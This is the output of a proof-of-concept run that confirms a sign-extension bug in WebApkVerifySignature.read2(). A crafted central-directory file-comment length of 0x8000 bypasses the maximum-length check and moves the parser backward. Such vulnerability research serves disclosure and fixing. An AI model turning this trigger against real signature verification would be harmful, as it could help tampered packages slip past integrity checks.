=== WebApkVerifySignature.read2() sign-extension POC ===

[primitive] read2() on bytes 00 80 (uint16 0x8000) returned -32768 (0xffff8000)
[primitive] expected if correctly masked: 32768; actual: -32768  =>  SIGN-EXTENDED (BUG)

[control] CD file-comment-length = 0x0001  ->  read() = 3 (FILE_COMMENT_TOO_LARGE)
[bug]     CD file-comment-length = 0x8000  ->  read() = 7 (BAD_BLANK_SPACE)

[result] read2() sign-extends uint16 ...................... CONFIRMED
[result] MAX_FILE_COMMENT_LENGTH check bypassed for 0x8000 . CONFIRMED
[result] seekDelta() moved backward past line 344 .......... CONFIRMED (got BAD_BLANK_SPACE from later check)